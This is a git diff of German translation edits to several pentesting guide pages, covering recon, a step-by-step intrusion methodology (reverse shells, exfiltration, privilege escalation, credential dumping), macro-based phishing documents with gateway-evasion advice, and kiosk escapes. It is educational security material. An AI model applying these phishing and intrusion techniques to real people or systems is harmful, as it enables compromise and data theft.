**kostenlosen APIs** können Sie auch **frühere Sie können auch nach Domains suchen, die auf eine bestimmte IP-Adresse zeigen, indem Sie das Tool [**hakip2host**](https://github.com/hakluke/hakip2host) verwenden. -### **Suche nach Schwachstellen** +### **Nach Schwachstellen suchen** **Portscannen Sie alle IPs, die nicht zu CDNs gehören** (da Sie dort höchstwahrscheinlich nichts Interessantes finden werden). In den entdeckten laufenden Diensten könnten Sie **Schwachstellen finden**. -**Finden Sie einen** [**Leitfaden**](../pentesting-network/index.html) **zum Scannen von Hosts.** +**Finden Sie einen** [**Leitfaden**](../pentesting-network/index.html) **darüber, wie man Hosts scannt.** ## Webserver-Jagd -> Wir haben alle Unternehmen und deren Vermögenswerte gefunden und kennen IP-Bereiche, Domains und Subdomains im Geltungsbereich. Es ist Zeit, nach Webservern zu suchen. +> Wir haben alle Unternehmen und deren Assets gefunden und kennen IP-Bereiche, Domains und Subdomains im Geltungsbereich. Es ist Zeit, nach Webservern zu suchen. In den vorherigen Schritten haben Sie wahrscheinlich bereits einige **Recon der entdeckten IPs und Domains** durchgeführt, sodass Sie **bereits alle möglichen Webserver gefunden haben**. Wenn nicht, werden wir jetzt einige **schnelle Tricks zur Suche nach Webservern** im Geltungsbereich sehen. @@ -553,11 +553,11 @@ Credential Leaks stehen im Zusammenhang mit Hacks von Unternehmen, bei denen **s Anmeldeinformationen und APIs könnten in den **öffentlichen Repositories** des **Unternehmens** oder der **Benutzer**, die für dieses Github-Unternehmen arbeiten, geleakt werden.\ Sie können das **Tool** [**Leakos**](https://github.com/carlospolop/Leakos) verwenden, um alle **öffentlichen Repos** einer **Organisation** und ihrer **Entwickler** herunterzuladen und automatisch [**gitleaks**](https://github.com/zricethezav/gitleaks) darüber auszuführen. -**Leakos** kann auch verwendet werden, um **gitleaks** gegen alle **Text-URLs**, die ihm übergeben werden, auszuführen, da manchmal **Webseiten auch Geheimnisse enthalten**. +**Leakos** kann auch verwendet werden, um **gitleaks** gegen all den **Text** aus den **URLs**, die ihm übergeben werden, auszuführen, da manchmal **Webseiten auch Geheimnisse enthalten**. #### Github Dorks -Überprüfen Sie auch diese **Seite** auf potenzielle **Github Dorks**, nach denen Sie in der Organisation, die Sie angreifen, suchen könnten: +Überprüfen Sie auch diese **Seite** auf potenzielle **Github Dorks**, nach denen Sie auch in der Organisation, die Sie angreifen, suchen könnten: {{#ref}} github-leaked-secrets.md @@ -580,7 +580,7 @@ Wenn Sie **gültige geleakte** Anmeldeinformationen oder API-Token finden, ist d ## Öffentliche Code-Schwachstellen -Wenn Sie festgestellt haben, dass das Unternehmen **Open-Source-Code** hat, können Sie ihn **analysieren** und nach **Schwachstellen** suchen. +Wenn Sie festgestellt haben, dass das Unternehmen **Open-Source-Code** hat, können Sie ihn **analysieren** und nach **Schwachstellen** darin suchen. **Je nach Sprache** gibt es verschiedene **Tools**, die Sie verwenden können: @@ -600,12 +600,12 @@ Ich möchte auch einen besonderen Hinweis auf den Abschnitt [**Web Automated Sca ## Rekapitulation -> Herzlichen Glückwunsch! An diesem Punkt haben Sie bereits **alle grundlegenden Enumeration** durchgeführt. Ja, es ist grundlegend, weil viel mehr Enumeration durchgeführt werden kann (wir werden später mehr Tricks sehen). +> Herzlichen Glückwunsch! An diesem Punkt haben Sie bereits **alle grundlegenden Aufzählungen** durchgeführt. Ja, es ist grundlegend, weil viel mehr Aufzählungen durchgeführt werden können (wir werden später mehr Tricks sehen). -Also haben Sie bereits: +Sie haben bereits: 1. Alle **Unternehmen** im Geltungsbereich gefunden -2. Alle **Assets** gefunden, die zu den Unternehmen gehören (und einige Schwachstellenscans durchgeführt, wenn im Geltungsbereich) +2. Alle **Ressourcen** gefunden, die zu den Unternehmen gehören (und einige Schwachstellenscans durchgeführt, wenn im Geltungsbereich) 3. Alle **Domains** gefunden, die zu den Unternehmen gehören 4. Alle **Subdomains** der Domains gefunden (gibt es eine Subdomain-Übernahme?) 5. Alle **IPs** (von und **nicht von CDNs**) im Geltungsbereich gefunden. diff --git a/src/generic-methodologies-and-resources/pentesting-methodology.md b/src/generic-methodologies-and-resources/pentesting-methodology.md index a25c7b792..ededc8de7 100644 --- a/src/generic-methodologies-and-resources/pentesting-methodology.md +++ b/src/generic-methodologies-and-resources/pentesting-methodology.md @@ -17,7 +17,7 @@ Hast du **physischen Zugang** zu der Maschine, die du angreifen möchtest? Du so **Je nachdem**, ob der **Test**, den du durchführst, ein **interner oder externer Test** ist, könntest du daran interessiert sein, **Hosts im Unternehmensnetzwerk** (interner Test) oder **Vermögenswerte des Unternehmens im Internet** (externer Test) zu finden. > [!NOTE] -> Beachte, dass du, wenn du einen externen Test durchführst, sobald du Zugang zum internen Netzwerk des Unternehmens erhalten hast, diese Anleitung neu starten solltest. +> Beachte, dass du, wenn du einen externen Test durchführst, dieses Handbuch neu starten solltest, sobald du Zugang zum internen Netzwerk des Unternehmens erhalten hast. ### **2-** [**Spaß mit dem Netzwerk haben**](pentesting-network/index.html) **(Intern)** @@ -26,7 +26,7 @@ Bevor du einen Host angreifst, möchtest du vielleicht **einige Anmeldeinformati ### 3- [Port-Scan - Dienstentdeckung](pentesting-network/index.html#scanning-hosts) -Das erste, was du tun solltest, wenn du **nach Schwachstellen in einem Host suchst**, ist zu wissen, welche **Dienste laufen** und an welchen Ports. Lass uns die [**grundlegenden Werkzeuge zum Scannen von Ports von Hosts**](pentesting-network/index.html#scanning-hosts) ansehen. +Das erste, was du tun solltest, wenn du **nach Schwachstellen in einem Host suchst**, ist zu wissen, welche **Dienste laufen** und an welchen Ports. Lass uns die [**grundlegenden Tools zum Scannen von Ports von Hosts**](pentesting-network/index.html#scanning-hosts) ansehen. ### **4-** [Suche nach Dienstversions-Exploits](../generic-hacking/search-exploits.md) @@ -39,13 +39,13 @@ Wenn es keinen ausgefallenen Exploit für einen laufenden Dienst gibt, solltest **In diesem Buch findest du einen Leitfaden, um die häufigsten Dienste zu pentesten** (und andere, die nicht so häufig sind). **Bitte suche im linken Index nach der** _**PENTESTING**_ **Sektion** (die Dienste sind nach ihren Standardports geordnet). **Ich möchte besonders auf den** [**Pentesting Web**](../network-services-pentesting/pentesting-web/index.html) **Teil hinweisen (da er der umfangreichste ist).**\ -Außerdem findest du hier einen kleinen Leitfaden, wie du [**bekannte Schwachstellen in Software finden**](../generic-hacking/search-exploits.md) kannst. +Außerdem findest du hier einen kleinen Leitfaden, wie man [**bekannte Schwachstellen in Software findet**](../generic-hacking/search-exploits.md). **Wenn dein Dienst nicht im Index ist, suche bei Google** nach anderen Tutorials und **lass es mich wissen, wenn du möchtest, dass ich es hinzufüge.** Wenn du **nichts** bei Google finden kannst, führe dein **eigenes blindes Pentesting** durch, du könntest damit beginnen, **eine Verbindung zum Dienst herzustellen, ihn zu fuzzern und die Antworten zu lesen** (falls vorhanden). -#### 5.1 Automatische Werkzeuge +#### 5.1 Automatische Tools -Es gibt auch mehrere Werkzeuge, die **automatische Schwachstellenbewertungen** durchführen können. **Ich würde dir empfehlen,** [**Legion**](https://github.com/carlospolop/legion)** auszuprobieren, das ist das Werkzeug, das ich erstellt habe und das auf den Notizen über Pentesting-Dienste basiert, die du in diesem Buch finden kannst.** +Es gibt auch mehrere Tools, die **automatische Schwachstellenbewertungen** durchführen können. **Ich würde dir empfehlen,** [**Legion**](https://github.com/carlospolop/legion)** auszuprobieren, das ist das Tool, das ich erstellt habe und das auf den Notizen über Pentesting-Dienste basiert, die du in diesem Buch finden kannst.** #### **5.2 Brute-Forcing-Dienste** @@ -57,9 +57,9 @@ Wenn du bis zu diesem Punkt keine interessanten Schwachstellen gefunden hast, ** ### **7-** [**Shell erhalten**](../generic-hacking/reverse-shells/index.html) -Irgendwie solltest du **eine Möglichkeit gefunden haben, Code** im Opfer auszuführen. Dann wäre [eine Liste möglicher Werkzeuge im System, die du verwenden kannst, um eine Reverse-Shell zu erhalten, sehr nützlich](../generic-hacking/reverse-shells/index.html). +Irgendwie solltest du **eine Möglichkeit gefunden haben, Code** im Opfer auszuführen. Dann wäre [eine Liste möglicher Tools im System, die du verwenden kannst, um eine Reverse-Shell zu erhalten, sehr nützlich](../generic-hacking/reverse-shells/index.html). -Besonders unter Windows könntest du Hilfe benötigen, um **Antivirenprogramme zu umgehen**: [**Überprüfe diese Seite**](../windows-hardening/av-bypass.md)**.**\\ +Besonders unter Windows könntest du Hilfe benötigen, um **Antivirenprogramme zu umgehen**: [**Überprüfe diese Seite**](../windows-hardening/av-bypass.md)**.** ### 8- Innen @@ -71,11 +71,11 @@ Wenn du Probleme mit der Shell hast, findest du hier eine kleine **Zusammenstell ### **9 -** [**Exfiltration**](../generic-hacking/exfiltration.md) -Du wirst wahrscheinlich **einige Daten vom Opfer extrahieren** oder sogar **etwas einführen** müssen (wie Skripte zur Privilegieneskalation). **Hier hast du einen** [**Beitrag über gängige Werkzeuge, die du für diese Zwecke verwenden kannst**](../generic-hacking/exfiltration.md)**.** +Du wirst wahrscheinlich **einige Daten vom Opfer extrahieren** oder sogar **etwas einführen** müssen (wie Skripte zur Privilegieneskalation). **Hier hast du einen** [**Beitrag über gängige Tools, die du für diese Zwecke verwenden kannst**](../generic-hacking/exfiltration.md)**.** ### **10- Privilegieneskalation** -#### **10.1- Lokale Privilegieneskalation** +#### **10.1- Lokale Privesc** Wenn du **nicht root/Administrator** in der Box bist, solltest du einen Weg finden, um **Privilegien zu eskalieren.**\ Hier findest du einen **Leitfaden zur lokalen Eskalation von Privilegien in** [**Linux**](../linux-hardening/privilege-escalation/index.html) **und in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/index.html)**.**\ @@ -86,18 +86,18 @@ Du solltest auch diese Seiten darüber überprüfen, wie **Windows funktioniert* - Wie man [**Anmeldeinformationen stiehlt**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) in Windows - Einige Tricks über [_**Active Directory**_](../windows-hardening/active-directory-methodology/index.html) -**Vergiss nicht, die besten Werkzeuge zur Aufzählung von Windows- und Linux-Pfaden zur lokalen Privilegieneskalation zu überprüfen:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) +**Vergiss nicht, die besten Tools zur Aufzählung von Windows- und Linux-Pfaden zur lokalen Privilegieneskalation zu überprüfen:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) -#### **10.2- Domain Privilegieneskalation** +#### **10.2- Domain Privesc** -Hier findest du eine [**Methodik, die die häufigsten Aktionen zur Aufzählung, Eskalation von Privilegien und Persistenz in einem Active Directory erklärt**](../windows-hardening/active-directory-methodology/index.html). Auch wenn dies nur ein Unterabschnitt eines Abschnitts ist, könnte dieser Prozess bei einem Pentesting/Red Team-Einsatz **äußerst heikel** sein. +Hier findest du eine [**Methodik, die die häufigsten Aktionen zur Aufzählung, Eskalation von Privilegien und Persistenz in einem Active Directory erklärt**](../windows-hardening/active-directory-methodology/index.html). Auch wenn dies nur ein Unterabschnitt eines Abschnitts ist, könnte dieser Prozess **äußerst heikel** bei einem Pentesting/Red Team-Einsatz sein. ### 11 - POST #### **11**.1 - Plündern -Überprüfe, ob du mehr **Passwörter** im Host finden kannst oder ob du **Zugang zu anderen Maschinen** mit den **Privilegien** deines **Benutzers** hast.\ -Hier findest du verschiedene Möglichkeiten, um [**Passwörter in Windows zu dumpen**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md). +Überprüfe, ob du mehr **Passwörter** im Host finden kannst oder ob du **Zugriff auf andere Maschinen** mit den **Privilegien** deines **Benutzers** hast.\ +Finde hier verschiedene Möglichkeiten, um [**Passwörter in Windows zu dumpen**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md). #### 11.2 - Persistenz @@ -108,7 +108,7 @@ TODO: Vollständige Persistenz-Post in Windows & Linux ### 12 - Pivoting -Mit den **gesammelten Anmeldeinformationen** könntest du Zugang zu anderen Maschinen haben, oder vielleicht musst du **neue Hosts entdecken und scannen** (beginne die Pentesting-Methodik erneut) in neuen Netzwerken, in denen dein Opfer verbunden ist.\ +Mit den **gesammelten Anmeldeinformationen** könntest du Zugriff auf andere Maschinen haben, oder vielleicht musst du **neue Hosts entdecken und scannen** (beginne die Pentesting-Methodik erneut) in neuen Netzwerken, mit denen dein Opfer verbunden ist.\ In diesem Fall könnte Tunneling notwendig sein. Hier findest du [**einen Beitrag über Tunneling**](../generic-hacking/tunneling-and-port-forwarding.md).\ Du solltest auch den Beitrag über die [Pentesting-Methodik für Active Directory](../windows-hardening/active-directory-methodology/index.html) überprüfen. Dort findest du coole Tricks, um lateral zu bewegen, Privilegien zu eskalieren und Anmeldeinformationen zu dumpen.\ Überprüfe auch die Seite über [**NTLM**](../windows-hardening/ntlm/index.html), sie könnte sehr nützlich sein, um in Windows-Umgebungen zu pivotieren. @@ -121,7 +121,7 @@ Du solltest auch den Beitrag über die [Pentesting-Methodik für Active Director - [**Grundlegendes Linux-Exploiting**](broken-reference/index.html) - [**Grundlegendes Windows-Exploiting**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) -- [**Grundlegende Exploiting-Werkzeuge**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/index.html) +- [**Grundlegende Exploiting-Tools**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/index.html) #### [**Grundlegendes Python**](python/index.html) diff --git a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index c8e4e9ebc..d9543e046 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -4,9 +4,9 @@ ## Office-Dokumente -Microsoft Word führt eine Datenvalidierung der Datei durch, bevor eine Datei geöffnet wird. Die Datenvalidierung erfolgt in Form der Identifizierung der Datenstruktur gemäß dem OfficeOpenXML-Standard. Wenn während der Identifizierung der Datenstruktur ein Fehler auftritt, wird die zu analysierende Datei nicht geöffnet. +Microsoft Word führt eine Datenvalidierung von Dateien durch, bevor eine Datei geöffnet wird. Die Datenvalidierung erfolgt in Form der Identifizierung von Datenstrukturen gemäß dem OfficeOpenXML-Standard. Wenn während der Identifizierung der Datenstruktur ein Fehler auftritt, wird die analysierte Datei nicht geöffnet. -In der Regel verwenden Word-Dateien, die Makros enthalten, die Erweiterung `.docm`. Es ist jedoch möglich, die Datei umzubenennen, indem man die Dateierweiterung ändert und dennoch die Fähigkeit zur Ausführung von Makros beibehält.\ +In der Regel verwenden Word-Dateien, die Makros enthalten, die Erweiterung `.docm`. Es ist jedoch möglich, die Datei umzubenennen, indem die Dateierweiterung geändert wird, und dennoch die Fähigkeit zur Ausführung von Makros beizubehalten.\ Zum Beispiel unterstützt eine RTF-Datei aus Designgründen keine Makros, aber eine in RTF umbenannte DOCM-Datei wird von Microsoft Word verarbeitet und kann Makros ausführen.\ Die gleichen internen Abläufe und Mechanismen gelten für alle Software der Microsoft Office Suite (Excel, PowerPoint usw.). @@ -19,7 +19,7 @@ DOCX-Dateien, die auf eine entfernte Vorlage verweisen (Datei – Optionen – A ### Externe Bildladung Gehe zu: _Einfügen --> Schnellbausteine --> Feld_\ -&#xNAN;_**Kategorien**: Links und Verweise, **Feldnamen**: includePicture, und **Dateiname oder URL**:_ http://\/whatever +_**Kategorien**: Links und Verweise, **Feldnamen**: includePicture, und **Dateiname oder URL**:_ http://\/whatever ![](<../../images/image (155).png>) @@ -71,7 +71,7 @@ Gehe zu **Datei > Informationen > Dokument überprüfen > Dokument überprüfen* #### Doc-Erweiterung Wenn du fertig bist, wähle im Dropdown-Menü **Speichern unter** den Typ **Word 97-2003 `.doc`**.\ -Mach das, weil du **keine Makros in einer `.docx`** speichern kannst und es ein **Stigma** **um** die makroaktivierte **`.docm`**-Erweiterung gibt (z.B. hat das Miniaturansichts-Icon ein großes `!` und einige Web-/E-Mail-Gateways blockieren sie vollständig). Daher ist diese **legacy `.doc`-Erweiterung der beste Kompromiss**. +Mach das, weil du **keine Makros in einer `.docx`** speichern kannst und es ein **Stigma** **um** die makroaktivierte **`.docm`**-Erweiterung gibt (z.B. hat das Miniaturansichts-Icon ein riesiges `!` und einige Web-/E-Mail-Gateways blockieren sie vollständig). Daher ist diese **legacy `.doc`-Erweiterung der beste Kompromiss**. #### Bösartige Makro-Generatoren diff --git a/src/hardware-physical-access/escaping-from-gui-applications.md b/src/hardware-physical-access/escaping-from-gui-applications.md index 038427c0a..86e85d18a 100644 --- a/src/hardware-physical-access/escaping-from-gui-applications.md +++ b/src/hardware-physical-access/escaping-from-gui-applications.md @@ -1,4 +1,4 @@ -# Escaping from KIOSKs +# Ausbrechen aus KIOSKs {{#include ../banners/hacktricks-training.md}} @@ -7,17 +7,17 @@ ## Überprüfen des physischen Geräts | Komponente | Aktion | -| --------------| ------------------------------------------------------------------ | +| ------------- | ------------------------------------------------------------------ | | Netzschalter | Das Gerät aus- und wieder einschalten kann den Startbildschirm anzeigen | | Netzkabel | Überprüfen, ob das Gerät neu startet, wenn die Stromversorgung kurz unterbrochen wird | -| USB-Ports | Physikalische Tastatur mit mehr Tastenkombinationen anschließen | +| USB-Ports | Physikalische Tastatur mit mehr Tastenkombinationen anschließen | | Ethernet | Netzwerk-Scan oder Sniffing kann weitere Ausnutzung ermöglichen | ## Überprüfen möglicher Aktionen innerhalb der GUI-Anwendung **Gemeinsame Dialoge** sind Optionen wie **Datei speichern**, **Datei öffnen**, Schriftart auswählen, Farbe... Die meisten von ihnen bieten **vollständige Explorer-Funktionalität**. Das bedeutet, dass Sie auf Explorer-Funktionalitäten zugreifen können, wenn Sie auf diese Optionen zugreifen können: -- Schließen/Schließen als +- Schließen/Als schließen - Öffnen/Öffnen mit - Drucken - Exportieren/Importieren @@ -26,7 +26,7 @@ Sie sollten überprüfen, ob Sie: -- Dateien ändern oder neue Dateien erstellen können +- Dateien ändern oder neue erstellen können - Symbolische Links erstellen können - Zugriff auf eingeschränkte Bereiche erhalten können - Andere Apps ausführen können @@ -113,8 +113,8 @@ Registrierungseditor: [https://sourceforge.net/projects/uberregedit/](https://so ### Wischgesten -- Wischen Sie von der linken Seite nach rechts, um alle offenen Fenster zu sehen, die KIOSK-App zu minimieren und direkt auf das gesamte Betriebssystem zuzugreifen; -- Wischen Sie von der rechten Seite nach links, um das Aktionscenter zu öffnen, die KIOSK-App zu minimieren und direkt auf das gesamte Betriebssystem zuzugreifen; +- Wischen Sie von der linken Seite nach rechts, um alle offenen Fenster zu sehen, minimieren Sie die KIOSK-App und greifen Sie direkt auf das gesamte Betriebssystem zu; +- Wischen Sie von der rechten Seite nach links, um das Aktionscenter zu öffnen, minimieren Sie die KIOSK-App und greifen Sie direkt auf das gesamte Betriebssystem zu; - Wischen Sie von der oberen Kante, um die Titelleiste für eine im Vollbildmodus geöffnete App sichtbar zu machen; - Wischen Sie von unten nach oben, um die Taskleiste in einer Vollbild-App anzuzeigen. @@ -159,7 +159,7 @@ Geben Sie diese URLs ein, um eine Explorer-Ansicht zu erhalten: Backup iKat-Versionen: [http://swin.es/k/](http://swin.es/k/)\ -[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\ +[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net) Erstellen Sie einen gemeinsamen Dialog mit JavaScript und greifen Sie auf den Datei-Explorer zu: `document.write('')`\ Quelle: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0 @@ -169,48 +169,48 @@ Quelle: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de1981 ### Gesten und Tasten - Wischen Sie mit vier (oder fünf) Fingern nach oben / Doppeltippen auf die Home-Taste: Um die Multitasking-Ansicht anzuzeigen und die App zu wechseln -- Wischen Sie in eine oder andere Richtung mit vier oder fünf Fingern: Um zur nächsten/vorherigen App zu wechseln -- Kneifen Sie den Bildschirm mit fünf Fingern / Berühren Sie die Home-Taste / Wischen Sie mit 1 Finger schnell von unten nach oben: Um auf die Startseite zuzugreifen -- Wischen Sie mit einem Finger 1-2 Zoll (langsam) von unten am Bildschirm: Das Dock wird angezeigt -- Wischen Sie mit 1 Finger von oben auf dem Display: Um Ihre Benachrichtigungen anzuzeigen +- Wischen Sie in eine Richtung mit vier oder fünf Fingern: Um zur nächsten/vorherigen App zu wechseln +- Kneifen Sie den Bildschirm mit fünf Fingern / Berühren Sie die Home-Taste / Wischen Sie schnell mit 1 Finger von unten nach oben: Um auf die Startseite zuzugreifen +- Wischen Sie mit 1 Finger von unten des Bildschirms nur 1-2 Zoll (langsam): Das Dock wird angezeigt +- Wischen Sie mit 1 Finger von der oberen Kante des Displays nach unten: Um Ihre Benachrichtigungen anzuzeigen - Wischen Sie mit 1 Finger in die obere rechte Ecke des Bildschirms: Um das Kontrollzentrum des iPad Pro zu sehen -- Wischen Sie mit 1 Finger 1-2 Zoll von der linken Seite des Bildschirms: Um die Heute-Ansicht zu sehen +- Wischen Sie mit 1 Finger von der linken Seite des Bildschirms 1-2 Zoll: Um die Heute-Ansicht zu sehen - Wischen Sie schnell mit 1 Finger von der Mitte des Bildschirms nach rechts oder links: Um zur nächsten/vorherigen App zu wechseln -- Drücken und halten Sie die Ein-/**Aus**-/Ruhe-Taste in der oberen rechten Ecke des **iPad +** Bewegen Sie den Schieberegler **ausschalten** ganz nach rechts: Um auszuschalten -- Drücken Sie die Ein-/**Aus**-/Ruhe-Taste in der oberen rechten Ecke des **iPad und die Home-Taste für einige Sekunden**: Um einen harten Ausschaltvorgang zu erzwingen -- Drücken Sie die Ein-/**Aus**-/Ruhe-Taste in der oberen rechten Ecke des **iPad und die Home-Taste schnell**: Um einen Screenshot zu machen, der in der unteren linken Ecke des Displays angezeigt wird. Drücken Sie beide Tasten gleichzeitig sehr kurz, da bei längerem Halten ein harter Ausschaltvorgang durchgeführt wird. +- Drücken und halten Sie die Ein-/**Aus**-/Sleep-Taste in der oberen rechten Ecke des **iPad +** Bewegen Sie den Schieberegler **ausschalten** ganz nach rechts: Um auszuschalten +- Drücken Sie die Ein-/**Aus**-/Sleep-Taste in der oberen rechten Ecke des **iPad und die Home-Taste für einige Sekunden**: Um einen harten Ausschaltvorgang zu erzwingen +- Drücken Sie die Ein-/**Aus**-/Sleep-Taste in der oberen rechten Ecke des **iPad und die Home-Taste schnell**: Um einen Screenshot zu machen, der in der unteren linken Ecke des Displays angezeigt wird. Drücken Sie beide Tasten gleichzeitig sehr kurz, da bei längerem Halten ein harter Ausschaltvorgang durchgeführt wird. ### Tastenkombinationen -Sie sollten eine iPad-Tastatur oder einen USB-Tastaturadapter haben. Nur Tastenkombinationen, die beim Verlassen der Anwendung helfen könnten, werden hier angezeigt. +Sie sollten eine iPad-Tastatur oder einen USB-Tastaturadapter haben. Nur Tastenkombinationen, die beim Ausbrechen aus der Anwendung helfen könnten, werden hier angezeigt. | Taste | Name | | ----- | ------------ | -| ⌘ | Befehl | -| ⌥ | Option (Alt) | -| ⇧ | Shift | -| ↩ | Eingabe | -| ⇥ | Tab | -| ^ | Steuerung | -| ← | Linker Pfeil | -| → | Rechter Pfeil | -| ↑ | Aufwärtspfeil | -| ↓ | Abwärtspfeil | +| ⌘ | Befehl | +| ⌥ | Option (Alt) | +| ⇧ | Shift | +| ↩ | Eingabe | +| ⇥ | Tab | +| ^ | Steuerung | +| ← | Linker Pfeil | +| → | Rechter Pfeil| +| ↑ | Oberer Pfeil | +| ↓ | Unterer Pfeil| #### System-Tastenkombinationen Diese Tastenkombinationen sind für die visuellen Einstellungen und Toneinstellungen, abhängig von der Verwendung des iPads. | Tastenkombination | Aktion | -| ------------------| ------------------------------------------------------------------------------ | -| F1 | Bildschirm dimmen | -| F2 | Bildschirm aufhellen | -| F7 | Einen Song zurück | -| F8 | Abspielen/Pause | +| ----------------- | ------------------------------------------------------------------------------ | +| F1 | Bildschirm dimmen | +| F2 | Bildschirm aufhellen | +| F7 | Einen Song zurückspringen | +| F8 | Abspielen/Pause | | F9 | Song überspringen | | F10 | Stummschalten | | F11 | Lautstärke verringern | -| F12 | Lautstärke erhöhen | +| F12 | Lautstärke erhöhen | | ⌘ Leertaste | Eine Liste verfügbarer Sprachen anzeigen; um eine auszuwählen, drücken Sie die Leertaste erneut. | #### iPad-Navigation @@ -223,50 +223,50 @@ Diese Tastenkombinationen sind für die visuellen Einstellungen und Toneinstellu | ⌘⇥ (Befehl-Tab) | Liste der letzten zehn verwendeten Apps | | ⌘\~ | Gehe zur letzten App | | ⌘⇧3 (Befehl-Shift-3) | Screenshot (schwebt unten links, um zu speichern oder zu handeln) | -| ⌘⇧4 | Screenshot und im Editor öffnen | -| Drücken und Halten von ⌘ | Liste der verfügbaren Tastenkombinationen für die App | +| ⌘⇧4 | Screenshot und öffne ihn im Editor | +| Halten Sie ⌘ gedrückt | Liste der verfügbaren Tastenkombinationen für die App | | ⌘⌥D (Befehl-Option/Alt-D) | Dock anzeigen | | ^⌥H (Steuerung-Option-H) | Home-Taste | -| ^⌥H H (Steuerung-Option-H-H) | Multitasking-Leiste anzeigen | -| ^⌥I (Steuerung-Option-i) | Elementauswahl | +| ^⌥H H (Steuerung-Option-H-H) | Multitasking-Leiste anzeigen | +| ^⌥I (Steuerung-Option-i) | Elementauswahl | | Escape | Zurück-Taste | -| → (Rechter Pfeil) | Nächstes Element | -| ← (Linker Pfeil) | Vorheriges Element | -| ↑↓ (Aufwärtspfeil, Abwärtspfeil) | Ausgewähltes Element gleichzeitig antippen | -| ⌥ ↓ (Option-Abwärtspfeil) | Nach unten scrollen | -| ⌥↑ (Option-Aufwärtspfeil) | Nach oben scrollen | -| ⌥← oder ⌥→ (Option-Linker Pfeil oder Option-Rechter Pfeil) | Nach links oder rechts scrollen | -| ^⌥S (Steuerung-Option-S) | VoiceOver-Sprachausgabe ein- oder ausschalten | -| ⌘⇧⇥ (Befehl-Shift-Tab) | Zum vorherigen App wechseln | -| ⌘⇥ (Befehl-Tab) | Zur ursprünglichen App zurückwechseln | -| ←+→, dann Option + ← oder Option+→ | Durch das Dock navigieren | +| → (Rechter Pfeil) | Nächstes Element | +| ← (Linker Pfeil) | Vorheriges Element | +| ↑↓ (Oben Pfeil, Unten Pfeil) | Ausgewähltes Element gleichzeitig antippen | +| ⌥ ↓ (Option-Unten Pfeil) | Nach unten scrollen | +| ⌥↑ (Option-Oben Pfeil) | Nach oben scrollen | +| ⌥← oder ⌥→ (Option-Linker Pfeil oder Option-Rechter Pfeil) | Nach links oder rechts scrollen | +| ^⌥S (Steuerung-Option-S) | VoiceOver-Sprachausgabe ein- oder ausschalten | +| ⌘⇧⇥ (Befehl-Shift-Tab) | Zum vorherigen App wechseln | +| ⌘⇥ (Befehl-Tab) | Zur ursprünglichen App zurückwechseln | +| ←+→, dann Option + ← oder Option+→ | Durch das Dock navigieren | #### Safari-Tastenkombinationen -| Tastenkombination | Aktion | -| -------------------------- | ------------------------------------------------ | -| ⌘L (Befehl-L) | Standort öffnen | -| ⌘T | Neuen Tab öffnen | -| ⌘W | Aktuellen Tab schließen | -| ⌘R | Aktuellen Tab aktualisieren | -| ⌘. | Laden des aktuellen Tabs stoppen | -| ^⇥ | Zum nächsten Tab wechseln | +| Tastenkombination | Aktion | +| ------------------------- | ------------------------------------------------ | +| ⌘L (Befehl-L) | Standort öffnen | +| ⌘T | Neuen Tab öffnen | +| ⌘W | Den aktuellen Tab schließen | +| ⌘R | Den aktuellen Tab aktualisieren | +| ⌘. | Laden des aktuellen Tabs stoppen | +| ^⇥ | Zum nächsten Tab wechseln | | ^⇧⇥ (Steuerung-Shift-Tab) | Zum vorherigen Tab wechseln | -| ⌘L | Textfeld/URL-Feld auswählen, um es zu ändern | -| ⌘⇧T (Befehl-Shift-T) | Letzten geschlossenen Tab öffnen (kann mehrmals verwendet werden) | -| ⌘\[ | Gehe eine Seite in deinem Browserverlauf zurück | -| ⌘] | Gehe eine Seite in deinem Browserverlauf vor | -| ⌘⇧R | Reader-Modus aktivieren | +| ⌘L | Textfeld/URL-Feld auswählen, um es zu ändern | +| ⌘⇧T (Befehl-Shift-T) | Letzten geschlossenen Tab öffnen (kann mehrmals verwendet werden) | +| ⌘\[ | Gehe eine Seite in deinem Browserverlauf zurück | +| ⌘] | Gehe eine Seite in deinem Browserverlauf vor | +| ⌘⇧R | Reader-Modus aktivieren | #### Mail-Tastenkombinationen -| Tastenkombination | Aktion | -| -------------------------- | ---------------------------- | -| ⌘L | Standort öffnen | -| ⌘T | Neuen Tab öffnen | -| ⌘W | Aktuellen Tab schließen | -| ⌘R | Aktuellen Tab aktualisieren | -| ⌘. | Laden des aktuellen Tabs stoppen | +| Tastenkombination | Aktion | +| ------------------------- | ---------------------------- | +| ⌘L | Standort öffnen | +| ⌘T | Neuen Tab öffnen | +| ⌘W | Den aktuellen Tab schließen | +| ⌘R | Den aktuellen Tab aktualisieren| +| ⌘. | Laden des aktuellen Tabs stoppen | | ⌘⌥F (Befehl-Option/Alt-F) | In deinem Postfach suchen | ## Referenzen diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 13ce5b11c..dd3e93f37 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -1,10 +1,10 @@ -# Linux Privilegieneskalation +# Linux Privilege Escalation {{#include ../../banners/hacktricks-training.md}} -## Systeminformationen +## System Information -### OS-Info +### OS info Lass uns beginnen, einige Kenntnisse über das laufende Betriebssystem zu gewinnen. ```bash @@ -45,7 +45,7 @@ Tools, die bei der Suche nach Kernel-Exploits helfen könnten, sind: [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ 